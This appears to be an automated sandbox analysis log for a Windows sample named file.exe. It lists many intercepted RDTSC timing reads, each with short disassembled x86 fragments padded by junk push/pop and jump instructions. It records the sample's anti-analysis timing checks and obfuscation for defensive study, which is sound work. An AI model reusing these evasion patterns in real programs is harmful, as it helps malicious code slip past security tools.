Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE824 second address: FDE831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE831 second address: FDE83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD31CE6EAA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE50C1 second address: FE50C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE50C7 second address: FE50CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE50CB second address: FE50D8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE50D8 second address: FE50FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD31CE6EAB1h 0x00000011 js 00007FD31CE6EAA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE50FB second address: FE50FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE428E second address: FE4299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4299 second address: FE429F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE429F second address: FE42A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE43F2 second address: FE43F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE43F8 second address: FE43FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE43FC second address: FE4400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4400 second address: FE4410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jbe 00007FD31CE6EAA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4547 second address: FE454D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE454D second address: FE4552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4552 second address: FE456A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE456A second address: FE4576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE482D second address: FE4859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD31CD42B97h 0x00000008 jnl 00007FD31CD42B86h 0x0000000e jno 00007FD31CD42B86h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4859 second address: FE4887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jc 00007FD31CE6EAA6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD31CE6EAB6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE49FB second address: FE4A12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4A12 second address: FE4A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B46 second address: FE9B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2467 second address: FF24BE instructions: 0x00000000 rdtsc 0x00000002 je 00007FD31CE6EAA6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD31CE6EAB9h 0x00000011 jnc 00007FD31CE6EAB6h 0x00000017 popad 0x00000018 push edx 0x00000019 jmp 00007FD31CE6EAB6h 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF08A3 second address: FF08CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B94h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD31CD42B8Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF08CB second address: FF08D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF08D0 second address: FF08EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD31CD42B93h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0BA2 second address: FF0BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FD31CE6EAA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0BB1 second address: FF0BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0E9F second address: FF0EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0EA5 second address: FF0EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0EA9 second address: FF0EAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF146F second address: FF1475 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1475 second address: FF1485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jg 00007FD31CE6EAB2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1485 second address: FF148B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8D94 second address: FF8DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD31CE6EAB0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8983 second address: FF898D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF898D second address: FF8991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005746 second address: 1005750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD31CD42B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005750 second address: 1005754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100541A second address: 1005424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD31CD42B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10088DC second address: 1008905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAAEh 0x00000009 jno 00007FD31CE6EAB7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008905 second address: 100890A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100890A second address: 100891F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD31CE6EAAEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100891F second address: 1008923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008923 second address: 1008948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD31CE6EAB2h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FD31CE6EAA6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008948 second address: 100894C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100894C second address: 1008966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD31CE6EAB0h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008966 second address: 100896A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100896A second address: 100896E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F30B second address: 100F332 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007FD31CD42B8Dh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F332 second address: 100F336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F336 second address: 100F342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F342 second address: 100F36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD31CE6EAA6h 0x0000000a jmp 00007FD31CE6EAB2h 0x0000000f popad 0x00000010 jno 00007FD31CE6EAACh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F36B second address: 100F370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F370 second address: 100F376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014A62 second address: 1014A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014A66 second address: 1014A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD31CE6EAB4h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019264 second address: 1019269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F0F2 second address: 101F147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAADh 0x00000007 jc 00007FD31CE6EAB3h 0x0000000d jmp 00007FD31CE6EAABh 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 ja 00007FD31CE6EABBh 0x0000001d pushad 0x0000001e jmp 00007FD31CE6EAB2h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F85B second address: 101F861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F861 second address: 101F865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F865 second address: 101F86B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FAF1 second address: 101FAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102425D second address: 1024267 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD31CD42B8Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1024267 second address: 102427E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD31CE6EAACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102427E second address: 10242A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jl 00007FD31CD42B86h 0x0000000d pop esi 0x0000000e jmp 00007FD31CD42B94h 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FD31CD42B86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103672E second address: 1036732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036732 second address: 103675F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FD31CD42B86h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FD31CD42B94h 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BCF3 second address: 103BCF9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BB7A second address: 103BB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BB80 second address: 103BB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031797 second address: 103179B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049B90 second address: 1049B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049B96 second address: 1049BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10498E9 second address: 10498FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAACh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C12F second address: 105C140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B8Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C140 second address: 105C156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAAEh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060C48 second address: 1060C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060C4C second address: 1060C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060C54 second address: 1060C5E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD31CD42B8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FD29 second address: 105FD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FE76 second address: 105FE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jl 00007FD31CD42B88h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD31CD42B98h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060005 second address: 1060018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FD31CE6EAAEh 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FD31CE6EAA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060018 second address: 1060026 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CD42B88h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106367A second address: 106367E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106367E second address: 1063684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063684 second address: 1063689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10637BE second address: 10637C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10637C2 second address: 10637C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10637C6 second address: 10637CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10637CC second address: 10637E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CE6EAB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063B4E second address: 1063B6E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jl 00007FD31CD42B88h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD31CD42B8Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063B6E second address: 1063BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b call 00007FD31CE6EAB7h 0x00000010 sub dword ptr [ebp+122D3552h], ecx 0x00000016 pop edx 0x00000017 push dword ptr [ebp+122D33ECh] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FD31CE6EAA8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 jns 00007FD31CE6EAA8h 0x0000003d mov edx, 65A127A7h 0x00000042 push E9BD61FEh 0x00000047 push eax 0x00000048 push edx 0x00000049 ja 00007FD31CE6EABDh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063BF6 second address: 1063C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064FD2 second address: 1064FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106690C second address: 1066912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D024C second address: 52D0260 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 091Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov bx, 9CE6h 0x0000000c popad 0x0000000d push esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0260 second address: 52D0264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0264 second address: 52D026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D026A second address: 52D027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D027B second address: 52D027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
